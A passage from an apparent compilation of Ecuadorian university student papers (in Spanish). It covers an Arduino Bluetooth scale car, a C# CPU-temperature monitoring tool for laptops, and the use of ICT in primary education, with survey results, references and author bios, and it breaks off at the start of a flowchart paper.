KEYWORDS: applications, students, technological.

1. INTRODUCCIÓN

A medida que pasa los tiempos, los seres humanos hacían uso de ellas para el proceso de descubrimiento del mundo y evolución, la tecnología colecciona diferentes herramientas que hacen fácil de usas, crear administrar e intercambiar información siendo indispensable para las personas en su vida diaria. Hoy en día las tecnologías de la información están ayudando a la mejora de calidad de vida de las personas, así como también en la elaboración de nuevos mecanismos para usos como el entretenimiento que tiene un gran propósito y son de gran utilidad.

A través de estudios hemos llegado a conocer los grandes conocimientos científicos y avances tecnológicos los cuales manifiestan muchas oportunidades para el hombre con unos objetivos claros además de enriquecer sus conocimientos cada día creando nuevas máquinas artefactos para el desarrollo y beneficio de cada uno de los seres humanos.

Esta investigación se llevó a cabo en los alrededores del complejo universitario de La Universidad Estatal del Sur De Manabí de la parroquia san Lorenzo del cantón jipijapa con la colaboración de los estudiantes del octavo semestre de la carrera Sistemas Computacionales y con la orientación de la tutora para llevar a cabo esta investigación.

Por lo que conlleva al desarrollo del proyecto que radica en la falta de conocimiento de los estudiantes sobre los múltiples usos de la tecnología arduino y de los sensores ultrasónicos que por desconocimiento se niegan a investigar más a fondo esta tecnología y aplicarla al desarrollo de proyectos para enriquecer su intelecto y saciar su curiosidad, por lo cual tuvimos la necesidad de implementar un software para controlar un carro a escala a través de un dispositivo móvil por medio de bluetooth y automáticamente que facilita su uso al no tener que utilizar un control remoto para movilizar el auto a escala, gracias a la programación utilizada en arduino y con la utilización de los sensores ultrasónicos el auto se moviliza por medio de bluetooth y a través de un dispositivo móvil.

2. MATERIALES Y MÉTODOS

Programación: Un lenguaje de programación es un lenguaje formal que especifica una serie de instrucciones para que una computadora produzca diversas clases de datos. Los lenguajes de programación pueden usarse para crear programas que pongan en práctica algoritmos específicos que controlen el comportamiento físico y lógico de una computadora.

Lenguaje de Programación “C”: Este lenguaje de programación está orientado a los Sistemas Operativos y es muy eficaz y con él podemos crear Software de sistemas operativos como Windows o Linux y también para aplicaciones. También sirve para experimentos informáticos, físicos, matemáticos...etc. Es también muy utilizado en robótica con el que se programan simuladores, etc. (wilson, 2010).

Arduino: Arduino es hardware libre. Los diseños de referencia de hardware se distribuyen bajo licencia Creative Commons Attribution Share-Alike 2.5 y están disponibles en el sitio web de Arduino. Los esquemáticos y archivos de montaje de componentes (PCBs) para algunas versiones de placas también están disponibles. (JUANA , 30)

Cable usb para programar placa Arduino: Este cable de alimentación y comunicación está diseñado para comunicar a el arduino con el computador y te permitirá tanto programar el arduino como alimentarlo eléctricamente. (DIANA ARROBO, 2010)

Motor reductor: Un motor reductor es un reductor de velocidad con un motor directamente conectado. Un motor reductor no utiliza un adaptador campana y cople para montar el motor, el motor es de hecho parte del reductor de velocidad. (Fabricio Noriega , 2009).

Métodos:

- **Histórico-lógico:** este método se utilizó para la construcción de la investigación con énfasis en la búsqueda de la información sobre el uso del software a través de dispositivo móvil.
- **Análisis-síntesis:** método de observación que se utilizó para profundizar el estudio a partir de la conexión que existe entre la causa y el efecto.
- **Encuesta:** se utilizó como base esencial del desarrollo de esta investigación para saber cuán importante es la investigación y su influencia en los estudiantes.
- **Diagnóstico:** se uso para determinar el potencial la influencia de los dispositivos tecnológicos para los alumnos.
- **Bibliográfica:** se aplicó para citar las fuentes bibliográficas del método Histórico - Lógico que comprende toda la investigación

3. RESULTADOS Y DISCUSIÓN

Encuestas realizadas a los estudiantes de la carrera sistemas computacionales de octavo semestre de la universidad estatal del sur de Manabí.

1 ¿Conoce usted sobre software para control de dispositivos por medio de bluetooth y sensores de proximidad?

GRAFICO 1

Análisis: Por lo cual, en el primer gráfico, del 100% de alumnos el 90% dijo que si conocía sobre el software que controlan dispositivo por medio de bluetooth y el 10% dijo que no.

2. Sabe de la importancia que tienen los avances tecnológicos en la actualidad y de los beneficios que nos brindan.

GRAFICO 2

Análisis: Puede darse cuenta en el grafico dos del 100% de alumnos el 100% dijo que si sabían la importancia que tienen los avances tecnológicos.

4. CONCLUSIONES

Concluimos que la tarea de realizar este trabajo fue bastante ardua, por algunos inconvenientes en cuanto a cierto conocimiento sobre cosas complejas que en el transcurso del semestre es muy difícil entenderlas por qué faltan diferentes temas por conocer. Al final hicimos nuestro mayor esfuerzo para llevar a cabo la realización de este proyecto con ayuda de otras personas y algunas investigaciones hechas por cada uno de nosotros. En el desarrollo de esta implantación de un software para controlar un carro a escala es importante destacar el número de materiales tecnológicos que se utilizaron lo cual permitió un crecimiento profesional de los estudiantes que desarrollaron este proyecto. El dispositivo móvil elaborado e implementado como tarea dentro del proyecto funciona a cabalidad y ha sido comprobado, que es manejable, es decir, está operativo

REFERENCIAS BIBLIOGRÁFICAS

DIANA ARROBO. (13 de FEBRERO de 2010). *WIKIPEDIA*. Obtenido de https://es.wikipedia.org/wiki/Cable_puente

Fabricio Noriega . (20 de octubre de 2009). *wikipedia* . Obtenido de https://es.wikipedia.org/wiki/Lenguaje_de_programaci%C3%B3n

JUANA . (2011 de JULIO de 30). *SUPPORT*. Obtenido de <https://support.microsoft.com/es-es/help/15290/windows-connect-bluetooth-device>

wilson. (18 de marzo de 2010). *aretecnologia* . Obtenido de
<http://www.areatecnologia.com/informatica/lenguajes-de-programacion.html>

ANEXOS

BIOGRAFÍAS DE AUTORES

José Luis Barcia Mero, estudiante de la carrera Ingeniería en Tecnología de la Información.

Jennifer Arana Loor Arana, estudiante de la carrera Ingeniería en Tecnología de la Información.

Juan Sebastián Robles Pulla, estudiante de la carrera Ingeniería en Tecnología de la información.

Josué Gamaliel Salazar Nájera, estudiante de la carrera Ingeniería en Tecnología de la Información.

Luis Fernando Lucio Villacreses. Docente de la Universidad Estatal del Sur de Manabí.

**APL CONTROL-ACONDICIONAMIENTO DE TEMPERATURA EN
COMPUTADORAS PORTÁTILES DEL LABORATORIO MÓVIL DE LA
CARRERA T.I**

Angulo Intriago Alan Joao

Delgado Orellana Johan David

Pillasagua Cedeño Cristopher Daniel

Pincay Bajaña Eduardo Andrés

Dr. Alberto Rodríguez Rodríguez. PhD.

Universidad Estatal del Sur de Manabí

cristopherpillasa@gmail.com

RESUMEN

La presente investigación se basó en el impacto que tiene la elevación de temperatura en las computadoras del laboratorio móvil de la Universidad Estatal del Sur de Manabí en la carrera de Tecnologías de la Información y como puede repercutir en los procesos de aprendizaje, donde los estudiantes afianzan sus capacidades científicas, investigativas y prácticas, la propuesta planteada busca prevenir grandes fallos al software y la arquitectura del computador tomando en cuenta pequeñas acciones como el seguimiento a los recursos del mismo. La implemententación de los conocimientos adquiridos en la plataforma de programación Visual Studio .Net y las técnicas de conocimientos de lenguajes de programación en C Sharp, permite desarrollar aplicaciones para administrar los recursos de hardware y software de un ordenador, facilitando la manipulación de sus componentes para un correcto funcionamiento. Se determinó que este tipo de sistema informático muestra datos reales percibidos por los sensores integrados del computador, mostrados en un gráfico que le permita al usuario diariamente y en tiempo real ver la temperatura de la Unidad Central de Procesamiento (CPU), facultando al usuario a tomar acciones al ser necesarias. Se establece esta aplicación como una importante herramienta de control-solución, para determinar si el error del ordenador está basado en un sobrecalentamiento de sus componentes o el problema es corregible con otro método de mantenimiento.

PALABRAS CLAVE: mantenimiento; sobrecalentamiento; tecnología.

ABSTRACT

This research was based on the impact of temperature elevation on the computers of the Mobile laboratory of the Southern State University of Manabi in the career of information technology, where students strengthen their capacities Scientific, investigative and practical, the proposed proposal seeks to prevent large failures to the hardware and architecture of the computer taking into account small actions such as monitoring the resources of it. The implementation of the knowledge in the Visual Studio .net programming Platform and the Sharp C-language skills techniques enables the development of applications to manage the hardware and software resources of a Computer, facilitating the manipulation of its components for proper operation. It was determined that this computer system shows real data perceived by the integrated sensors of the computer, shown in a graph that allows the user to daily and in real time to see the temperature of the Central processing Unit (CPU), Empowering the user to take action as needed. This application is established as an important tool of control-solution, to determine if the error of the computer is based on an overheating of its components or the problem is correctable with another method of maintenance.

KEYWORDS: maintenance; overheating; technology

1. INTRODUCCIÓN

La computadora es una herramienta tecnológica muy compleja, creada para cumplir funciones y cubrir necesidades específicas requeridas por los usuarios y diseñada para cumplir con un tiempo de vida y de uso, el uso frecuente de los recursos de la computadora pueden influir en la duración del tiempo de vida del equipo, por lo que el mantenimiento y revisión constante tiene que ser una práctica periódica para prolongar el tiempo estimado de vida del equipo en la que en algunos casos los usuarios no lo hacen de manera correcta por falta de conocimientos en el área.

El facilitar la obtención de datos sobre el estado de la computadora proporcionará al usuario información de cuándo será adecuado llevar un mantenimiento preventivo o correctivo, la temperatura es un factor clave en el mantenimiento del equipo. Afecta de forma directa al rendimiento, a la fiabilidad del equipo. Esto es un tema que los usuarios inicialmente no le dan importancia porque todos los componentes necesitan electricidad y esto se traduce en calor. Ese calor no causara mayor efecto o si está dentro de rangos y valores establecidos. El problema se produce cuando esos valores se disparan, provocando sobrecalentamiento en los algunos componentes e incluso pudiendo provocar daños en el sistema.

Aunque todas las partes del computador cumplen un rol relevante para el funcionamiento del computador, existen partes diseñadas para soportar altas medidas de temperatura y que por su diseño y relevancia en el manejo de información son frágiles y sensibles al sobrecalentamiento por lo que hay que tener control contante de temperatura, como son el procesador, la tarjeta gráfica, placa base y el disco duro, para que un equipo funcione bien, no sólo es importante la potencia adecuada de sus componentes para el uso que se le esté dando, sino también realizar un mantenimiento adecuado para que puedan trabajar en condiciones óptimas, en este mantenimiento de sus condiciones óptimas entra un control de la temperatura a la que trabajan.

La mayoría de los componentes de un ordenador pueden funcionar en un entorno de frío extremo a 0°C, por ejemplo, por eso las temperaturas bajas no suelen constituir un problema para el funcionamiento de los equipos actuales, ya que por muy buena que sea una refrigeración doméstica, es casi imposible que baje a niveles que afecten mínimamente a los componentes.

Sin embargo, con el calor la historia cambia, ya que la estructura de un ordenador, más aún si se utiliza a un rendimiento elevado, puede convertirse en un verdadero horno, uno de los síntomas más claros de que necesitas mejorar el sistema de refrigeración de tu ordenador es que notes que va mucho más lento que de costumbre con el calor, y en casos más avanzados que directamente se apague o reinicie; indicativo muy claro de que algo no está bien y puede estar relacionado con la temperatura.

En general considera que a partir de 60° C es considerable bajar unos grados, porque se le pide al equipo que aguante mucho calor, y en cuanto suba un poquito puedes tener problemas serios, el software de control de temperatura es una herramienta informática que ayuda a monitorizar la temperatura de nuestro ordenador, el calor es uno de los máximos enemigos de tu ordenador. Cuando el procesador o CPU se calienta demasiado, puedes encontrarte con errores, algunos reinicios inesperados o notar que el equipo rinde por debajo de lo esperado. Por eso es importante medir de vez en cuando la temperatura de tu ordenador.

El programa informático nos permitirá visualizar la temperatura de nuestro procesador, que cambiará constantemente mediante el uso del recurso que posee el ordenador, para así poder hacer uso correctamente de cada uno de sus componentes sin afectar el hardware del computador. Facultando al usuario a tomar decisiones sobre el mantenimiento del hardware y software de la computadora que utiliza a diario.

El mantenimiento del hardware y software de un ordenador, en muchos casos va más allá del reemplazo de alguna pieza del hardware y de eliminar archivos temporales en el software. Por lo que el utilizar una herramienta de monitorización para controlar la temperatura es una de las mejores opciones que podemos tomar como un mantenimiento preventivo para nuestro ordenador.

2. MATERIALES Y MÉTODOS

En el proceso de recolección de información y creación del programa informático de administración de recursos del computador fue necesario pasar por varias etapas y la utilización de varios materiales tanto humanos como materiales.

Recursos humanos

- Información de la materia integradora para la administración de recursos de las computadoras y de programación obtenidas en las clases dadas por los profesores.
- Capacitaciones dadas por la comisión de investigación de la carrera de tecnologías de la información para el desarrollo de la presente investigación.

Recursos tecnológicos (computadoras)

- Lenguaje de Programación C Sharp
- Computadoras

Métodos

Métodos Teóricos:

- Método histórico-lógico, usado en la etapa de búsqueda de los antecedentes del campo de la investigación.
- Método de Análisis-síntesis, usado en el proceso de fragmentación y generalización del tema investigado.
- Método inducción-deducción, para la generalización y singularización del objeto y el campo de investigación.
- Método sistémico-estructural-funcional, usado en el proceso de desarrollo, diseño y de prueba de la aplicación informática.

Métodos Empíricos:

- Métodos de entrevistas, usado en el proceso de recopilación de información en el campo de trabajo.
- Métodos de encuestas, dirigida a los estudiantes que forman parte del Cuarto nivel de la carrera de Tecnologías de la Información.

- Revisión bibliográfica, Con este método se pudo complementar la aplicación del método histórico – lógico en la investigación.

Métodos estadísticos-matemáticos:

- Estadística inferencial, se utilizó para inferir y comparar los resultados en la tabla.

3. RESULTADOS Y DISCUSIÓN

Resultados de la encuesta realizada.

Pregunta 1

1° ¿Ha usado usted el laboratorio móvil que posee la carrera para practicas o para el uso académico?

Cuadro N° 1

ALTERNATIVA	FRECUENCIA	PORCENTAJE
SI	9	11%
NO	71	89%
TOTAL	80	100%

Gráfico N° 2

Análisis

Con un 11% que ha usado el laboratorio móvil frente al 89%, se comprobó el poco uso que se da al laboratorio móvil, debido a la presencia de los diferentes laboratorio estables con maquinas de escritorio que tienen la carrera.

Interpretación

Una pequeña parte de la muestra de la población usa el laboratorio móvil.

Pregunta 2

2° ¿Tiene usted conocimientos sobre cómo proceder ante un posible sobrecalentamiento en el hardware del computador?

Cuadro N° 2

ALTERNATIVA	FRECUENCIA	PORCENTAJE
SI	29	36%
NO	23	29%
TAL VEZ	28	35%
TOTAL	80	100%

Gráfico N.º 2

El 29% no tiene conocimiento para proceder ante problemas de sobrecalentamiento de hardware

Fuente: Estudiantes de la carrera Tecnologías de la Información.

Elaborado por: Autores de este proyecto.

Análisis

Esta pregunta dió resultados cercanos entre las opciones, 36% sabe cómo actuar ante un problema de sobrecalentamiento del computador, un 29% no sabe y un 35% probablemente,

esto demuestra que un 64% de la población estudiada necesitará algún tipo de asistencia sobre el tema.

Interpretación

El 64% de los encuestados no está seguro de tener los conocimientos necesarios para proceder ante fallas por sobrecalentamiento del hardware

Pregunta 3

3° Al momento de usar varios programas y recursos del computador, ¿Siente que la máquina se ralentiza por sobrecalentamiento?

Cuadro N° 3

ALTERNATIVA	FRECUENCIA	PORCENTAJE
SI	53	66%
NO	16	20%
TAL VEZ	11	14%
TOTAL	80	100%

Gráfico N° 3

Resultado

Del 100% de la población encuestada, un 66% siente que la maquina tiene un ralentiza miento en sus actividades normales, un 20% dijo que no, y un 14% dijo que probablemente, por lo que se asume este problema como mayoritario.

Interpretación

La diferencia entre las personas que dijeron entre si y no podría deberse al tipo de computadora que poseen.

Pregunta 4

4° ¿Sabe usted cual es la temperatura promedio idónea para su computador?

Cuadro N° 4

ALTERNATIVA	FRECUENCIA	PORCENTAJE
SI	7	9%
NO	45	56%
TAL VEZ	28	35%
TOTAL	80	100%

Gráfico N.º 4

El 56% no conoce el promedio de temperatura a la que se debe encontrar su computadora.

Fuente: Estudiantes de la carrera Tecnologías de la Información.

Elaborado por: Autores de este proyecto.

Resultado

Con un 56% los encuestado no saben cuál es la temperatura idónea para su computadora en comparación a un 9% que si esta consiente y un 35% probablemente.

Interpretación

El 9% de los encuestado si puede identificar cuando la computadora se encuentra dentro de los promedios de temperatura recomendada.

4. Conclusiones

Como consecuencia de lo expuesto, se establece que la investigación planteada y el aporte tecnológico tuvo un impacto en el medio que se implementó, ofreciéndoles a los usuarios obtener conocimientos fundamentales de sus equipos, el control de la temperatura en los ordenadores y facilitando la comprensión de la información con una interfaz amigable además de evitar los efectos negativos que se pueden producir al no realizar un control periódico del mismo. En cuanto a lo abordado con anterioridad es posible indicar que las personas tendrán mayor conciencia en torno al estado de la computadora, incentivándolos a tomar acciones como el mantenimiento preventivo, que ayudara a evitar futuras fallas.

Referencias bibliográficas

Amer, M. F. (24 de Octubre de 2014). *Mantener el ordenador a baja temperatura*. Obtenido de <https://rootear.com/mantenimiento/mantener-ordenador-baja-temperatura>

Meza Gonzales , J. (2016). *Acerca de nosotros: Programar ¡ya!* Obtenido de Programar ¡ya!: <https://www.programarya.com/Cursos/Visual-Basic/Estructuras-de-Datos/Arrays-y-Matrices>

Quonty. (05 de Septiembre de 2017). *La importancia de la refrigeración y el mantenimiento de tu PC*. Obtenido de <https://www.quonty.com/blog/la-importancia-de-la-refrigeracion-y-el-mantenimiento-de-tu-pc/>

Xataka Basics. (09 de 05 de 2017). *Xataka Basics*. Obtenido de Cómo medir la temperatura de la CPU de tu ordenador: <https://www.xataka.com/basics/como-medir-la-temperatura-de-la-cpu-de-tu-ordenador>

ANEXOS

Realizando análisis en el campo de investigación.

Creando los lineamientos del programa.

Interfaz del programa.

BIOGRAFIA DE LOS AUTORES

Angulo Intriago Alan Joao estudiante de la carrera tecnologías de la información en la Universidad Estatal del Sur de Manabí Jipijapa-Manabí-Ecuador, Bachiller en Electromecánica en la Unidad Educativa “Juan XXIII” Quinde-Esmeraldas-Ecuador.

Delgado Orellana Johan David estudiante de la carrera tecnologías de la información en la Universidad Estatal del Sur de Manabí Jipijapa-Manabí-Ecuador, Bachiller en Administración de Sistemas en la Unidad Educativa “15 de Octubre” Jipijapa-Manabí-Ecuador

Pillasagua Cedeño Cristopher Daniel estudiante de la carrera tecnologías de la información en la Universidad Estatal del Sur de Manabí Jipijapa-Manabí-Ecuador, Bachiller en Administración de Sistemas en la Unidad Educativa “15 de Octubre” Jipijapa-Manabí-Ecuador.

Pincay Bajaña Eduardo Andrés estudiante de la carrera tecnologías de la información en la Universidad Estatal del Sur de Manabí Jipijapa-Manabí-Ecuador, Bachiller en Administración de Sistemas en la Unidad Educativa del milenio “2 de Agosto” Isidro Ayora-Guayas-Ecuador.

Lcdo. Alberto Rodríguez Rodríguez, PhD. Doctor en Ciencias Pedagógicas, Magister en Ciencias de la Educación, Licenciado en Educación en Matemática. Docente de la Universidad Estatal del Sur de Manabí.

ENSEÑANZAS CON TECNOLOGÍA DE LA INFORMACIÓN EN LA EDUCACIÓN PRIMARIA

Katherine Lilibeth Rosado Plúa,

Andrea Lizbeth Cedeño Chiquito,

Felipe Román Figueroa Quiroz

Roosevelt Manlio Menéndez Cevallos,

Ing. Miriam Adriana Castillo Merino. Mg.

Universidad Estatal del Sur de Manabí

kattyrosdao@gmail.com

RESUMEN

El presente trabajo de investigación se basó en la incidencia que tienen las tecnologías en el aprendizaje y en el desarrollo de sus habilidades estudiantiles. Con el cambio frecuente de tendencias tecnológicas, los estudiantes se acoplan a estas enseñanzas; con esto los estudiantes se vuelven autodidactas sobre alguna temática. Se utilizaron métodos de investigación científica, predominando el método de inducción - deducción y análisis - síntesis, que contribuyeron al desarrollo de la capacidad de resolver los problemas uniendo las nuevas tendencias tecnológicas que tienen incidencia en la educación de los estudiantes. Se propone como objetivo establecer el buen uso de las herramientas tecnológicas en la educación, para que puedan aplicarlas en las temáticas de las asignaturas que corresponden a cada ciclo escolar en la unidad educativa fiscal Eleodoro González Cañarte, para evitar las vulnerabilidades por falta de comunicación y poco interés de la informática. Los resultados obtenidos, están relacionados con el incremento y el buen uso de las herramientas tecnológicas para el aprendizaje de nuevas temáticas utilizadas en la unidad educativa fiscal Eleodoro González Cañarte. Se concluye que las tecnologías en la educación son de gran aporte para docentes y estudiantes porque permiten que cada una de las partes continúe innovando para participar en la evolución de las tecnologías.

PALABRAS CLAVE: Inclusión tecnológica, educación primaria, plataforma educativa

ABSTRACT

This research work was based on the impact of technologies on learning and the development of their student skills. With the frequent change of technological tendencies, the students are coupled to these teachings; with this the students become self-taught on some subject. Methods of scientific research were used, predominating the method of induction-deduction and

analysis-synthesis, which contributed to the development of the capacity to solve the problems uniting the new technological tendencies that have incidence in the Students ' education. It proposes as objective to establish the good use of the technological tools in the education, so that they can apply them in the thematic of the subjects that correspond to each school cycle in the Fiscal Education unit Eleodoro Gonzalez Cañarte, to avoid the Vulnerabilities due to lack of communication and little interest in computer science. The results obtained are related to the increase and the good use of the technological tools for the learning of new topics used in the Fiscal Education unit Eleodoro Gonzalez Cañarte. It is concluded that technologies in education are of great contribution to teachers and students because they allow each of the parties to continue innovating to participate in the evolution of the technologies.

KEY WORDS: Technological Inclusion, primary education, educational platform

1. INTRODUCCIÓN

La educación ha existido desde la creación de los seres humanos de una forma u otra porque los humanos han sido educados ya sea por su naturaleza de querer aprender o porque han visto a otras personas y por eso quieren educarse a su manera o también buscar ayuda en la persona que tiene más conocimiento sobre lo que quiere aprender a sí mismo. Hoy en día existen diferentes formas y / o herramientas tecnológicas que todos podemos usar y esto facilita nuestra forma de querer educarnos a nosotros mismos.

Según Rodríguez (2006, p. 141) las sociedades modernas están evolucionando hacia una forma postindustrial, a la cual se le han agregado otras muchas denominaciones en los últimos años: la sociedad digital, informatizada o en red. El principal elemento que contribuye a hacer visible el cambio hacia esta nueva sociedad es el impacto de la innovación tecnológica.

Este hecho constituye un importante objeto de estudio, pues los cambios tecnológicos en la cotidianeidad de la sociedad han impulsado profundas modificaciones en la educación. Es por ello que la institución educativa no puede quedar al margen de estos continuos avances, sino que debe ajustarse, desde las primeras etapas, a las características del nuevo milenio. Así debe tener presente el potencial de estas nuevas estrategias para facilitar el aprendizaje, evitando influir negativamente en las principales funciones de la educación.

Este proceso implica a toda la comunidad educativa (profesores, familias, alumnos), pues todos sus miembros deben conocer esta realidad a la que se enfrentan; teniendo

presente cuál es su responsabilidad para conseguir un óptimo proceso de enseñanza-aprendizaje. Este contexto es la base de la que parte este trabajo, el cual se centra principalmente en el papel de los maestros/as de Primaria. Todo ello, investigando la importancia de que éstos descubran las diversas posibilidades que ofrecen las TIC en el aula, ya que una de sus funciones se basa en presentar y ofrecer a sus alumnos/as esta realidad tecnológica.

2. DESARROLLO

Integración de la tecnología en el aula de clases

"La integración de las tecnologías en el aula va más allá del simple uso de una computadora y su software, lo que requiere es la participación de los estudiantes, las interacciones frecuentes entre el profesor y el alumno y la participación y colaboración en grupo" (Isabel, 2016), con las nuevas tecnologías la enseñanza impartida por los docentes en el aula se ha vuelto más dinámica porque existe una integración entre el alumno y el docente.

La importancia del término alfabetización digital, subyace de la necesidad de formar a los alumnos y alumnas, para ser capaces de usar estos medios para la vida cotidiana, y para aprender. Ya que el día de mañana, este alumnado, precisará de estos medios con el fin de buscar trabajo, recabar información sobre aspectos esenciales de la vida, así como para estudiar y seguir formándose académicamente.

Herramientas de enseñanza

Las herramientas de enseñanza que se utilizan en las unidades educativas no son las mismas que se utilizaban hace 20 años atrás, porque a medida que ha ido evolucionando la tecnología de la misma forma la educación ha cambiado su forma de mostrar o explicar una clase a los estudiantes, antes los docentes que tenían que impartir una clase al se preparaban haciendo uso de libros lo cuales compraban o los prestaban en una biblioteca, tenían que ir pasando a un cuaderno cada cosa que encontraban para después replicarle eso a los estudiantes lo que muchas veces lleva horas y horas solo preparar una sesión de clases, ya al momento que presentaban el tema el docente tenía que venir a escribir toda la clase en la pizarra y después explicar, en cambio hoy en día el docente solo necesita estar conectado a una red de internet y tener una pc para que en cuestión de minutos prepare su clase y ya después con llega a los estudiantes solo le explica las presentaciones que él tiene aclarando todas las dudas de los estudiantes.

Por lo tanto, "la integración de estas herramientas en la educación ofrece una serie de beneficios que ayudan a mejorar la eficiencia y la productividad en el aula, así como a aumentar el interés

de los estudiantes en sus actividades estudiantiles" (Isabel, 2016). En la actividad en la mayoría de las instituciones públicas y privadas, cada clase tiene sus propias herramientas, como pizarras electrónicas, proyectores, Internet fijo, aire acondicionado, entre otros.

Tecnología como objeto de conocimiento y estudio

"La reflexión sobre la estructura y los principios operativos de las tecnologías debe estar presente en la formación docente, por ejemplo, como tema o visión transversal de un área temática en el programa de formación docente. En nuestra realidad, principalmente en la provincia de Buenos Aires. La formación tecnológica recibida por los docentes es rara o inexistente, por lo que la visión que respaldan es simplemente artificial y, en muchos casos, tiene un aspecto tecno-fóbico que nos aleja del pensamiento crítico necesario que debería acompañarnos en esta dirección". (Zangara, 2013), esta es la razón por la cual la visión que los maestros ven en los estudiantes es buena porque muchos de ellos han experimentado este cambio en la tecnología, en cambio los estudiantes provienen de la nueva era en la que la tecnología está en pleno desarrollo facilitando su adaptación y comprensión de lo que los lleva a crear cosas innovadoras.

Incorporar la tecnología en la educación

"De hecho, la tecnología ayuda a profesores y estudiantes en su trabajo diario". Los procesadores de texto, calculadoras, impresoras y computadoras se han utilizado para diversas actividades escolares que necesitan.

Ahora que Internet y las tecnologías móviles se están desarrollando rápidamente, cada vez se integran más elementos tecnológicos en el entorno educativo. Pizarras interactivas, clases virtuales y una gran cantidad de recursos electrónicos para investigación o trabajo escolar son solo algunas de las formas de integrar la tecnología digital en las escuelas y universidades "(Garcia, 2015). Los estudiantes a menudo usan su capacitación porque se vuelven dependientes de estas tecnologías, pero a veces los estudiantes aprenden a usar estas herramientas para obtener más conocimiento.

3. MATERIALES Y MÉTODOS

Se utilizaron métodos de investigación científica predominando el método de inducción - deducción y análisis - síntesis, que contribuyeron al desarrollo de la capacidad de resolver los problemas uniendo las nuevas tendencias tecnológicas que tienen incidencia en la educación de los estudiantes.

Se utilizó la técnica de observación y entrevista la cual nos permitió de forma directa y clara ver la evolución de la educación primaria de los estudiantes con el uso de las tecnologías.

4. RESULTADOS Y DISCUSIÓN

Se obtuvo como resultado el incremento y el buen uso de las herramientas tecnológicas para el aprendizaje de nuevas temáticas utilizadas en la unidad educativa Eleodoro Gonzales Cañarte. Se logró que a través de la tecnología los estudiantes puedan fortalecer su educación primaria, lo cual les permitirá a ellos obtener más conocimientos con el uso de las herramientas tecnológicas, las mismas que les servirán como material para educarse en todos los aspectos, porque la formación estudiantil primaria tiene muchas dimensiones que les sirve de aporte para el crecimiento de los estudiantes.

Encuesta dirigida a los profesores de la unidad educativa Eleodoro Gonzales Cañarte tomando como muestra representativa para este análisis una cantidad de 45 encuestados.

- 1) **¿Cree usted que la calidad de equipamiento informático de la unidad educativa Eleodoro Gonzales Cañarte es buena, muy buena, deficiente, muy deficiente?**

Fuente: Estudiantes del tercer nivel de la Carrera Tecnologías de la Información, marzo 2019

Elaborado por: Katherine Rosado, Andrea Cedeño, Felipe Figueroa, Roosevelt Menéndez

Análisis de resultados

Este gráfico muestra la opinión de los profesores/as sobre la calidad del equipamiento disponible en la unidad educativa. Se puede comprobar cómo la gran mayoría (84%) creen que es “buena”, sin embargo, es interesante cómo hay un 16% con opiniones opuestas, pues el 8% consideran que el equipamiento es de "muy buena" calidad, pero el 8% restante creen que esta es "deficiente".

2) ¿En qué horario le gustaría recibir una metodología de formación en tic, las cuales pueden ser distancia o presencial, a autodidacta?

Fuente: Estudiantes del tercer nivel de la Carrera Tecnologías de la Información, marzo 2019

Elaborado por: Katherine Rosado, Andrea Cedeño, Felipe Figueroa, Roosevelt Menéndez

Análisis de resultados

En relación a la metodología elegida para recibir la formación en TIC destaca la modalidad "presencial" elegida por un 63% frente al 11% de la metodología "a distancia" y el 26% "autodidacta".

5. CONCLUSIONES

Una vez realizada la investigación se llegó a las siguientes conclusiones.

- Desde el punto de vista de los profesores los estudiantes de educación primaria es necesario tener más conocimientos acerca de las TIC para poder brindar una mejor enseñanza a los estudiantes.
- Las encuestas realizadas demostraron que los profesores desean tener formaciones en TIC para poder impartir sus clases entorno a los conocimientos adquiridos en esa formación pues así ellos estarían más preparados a la hora de hablar de tecnología.

REFERENCIAS BIBLIOGRÁFICAS

Rodríguez Pascual, I. (2006). Infancia y nuevas tecnologías: un análisis del discurso sobre la sociedad de la información y los niños. Política y Sociedad

Garcia, A. (2015). *La brecha digital*. Obtenido de labrechadigital.org:

<http://www.labrechadigital.org/labrecha/Articulos/los-beneficios-de-la-tecnologia-en-la-educacion.html>

Isabel, S. (2016). *U-planner*. Obtenido de u-planner.com: <https://www.u-planner.com/es/blog/beneficios-de-la-tecnolog%C3%ADa-en-educaci%C3%B3n>

Segura, M., Candiotti, C. y Medina, J. (2007). Las TIC en la Educación: panorama internacional y situación española. CNICE. Fundación Santillana

BIOGRAFIA DE AUTORES

Katherine Lilibeth Rosado Plua, Estudiante de la carrera Tecnologías de la Información en la Universidad Estatal del Sur de Manabí Jipijapa-Manabí-Ecuador, Bachiller en Ciencias en la Unidad Educativa Fiscal “Alejo Lascano” Jipijapa-Manabí-Ecuador.

Andrea Lizbeth Cedeño Chiquito, Estudiante de la carrera Tecnologías de la Información en la Universidad Estatal del Sur de Manabí Jipijapa-Manabí-Ecuador, Bachiller en ciencias en la Unidad Educativa Fiscal “Eloy Alfaro” Jipijapa-Manabí-Ecuador.

Felipe Roman Figueroa Quiroz, Estudiante de la carrera Tecnologías de la Información en la Universidad Estatal del Sur de Manabí Jipijapa-Manabí-Ecuador, Bachiller en técnico informático en la Unidad Educativa Fiscal “América” Jipijapa-Manabí-Ecuador.

Roosevelt Manlio Menendez Cevallos, Estudiante de la carrera Tecnologías de la Información en la Universidad Estatal del Sur de Manabí Jipijapa-Manabí-Ecuador, Bachiller en técnico informático en la Unidad Educativa Fiscal “Alejo Lascano” Jipijapa-Manabí-Ecuador.

Castillo Merino Miriam Adriana. Docente de la Carrera de Ingeniería en Tecnologías de la Información en la Universidad Estatal del Sur de Manabí Jipijapa-Manabí-Ecuador.

GUÍA CLAVE PARA EL APRENDIZAJE DE DIAGRAMA DE FLUJOS

María de los Ángeles Baque Saltos,

Edwin José Fienco Pérez,

Gladis Arelis Soledispa Gonzales,

Gustavo Vicente Vera Chiquito,

Ing. Franklin Jhimmy Tóala Arias. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

madeloanbaque@gmail.com

edwinfienco1234@hotmail.com

luisvk11@outlook.com

saru-98sol@hotmail.com

damaristrivi@hotmail.com

veragustavo1997@gmail.com

RESUMEN

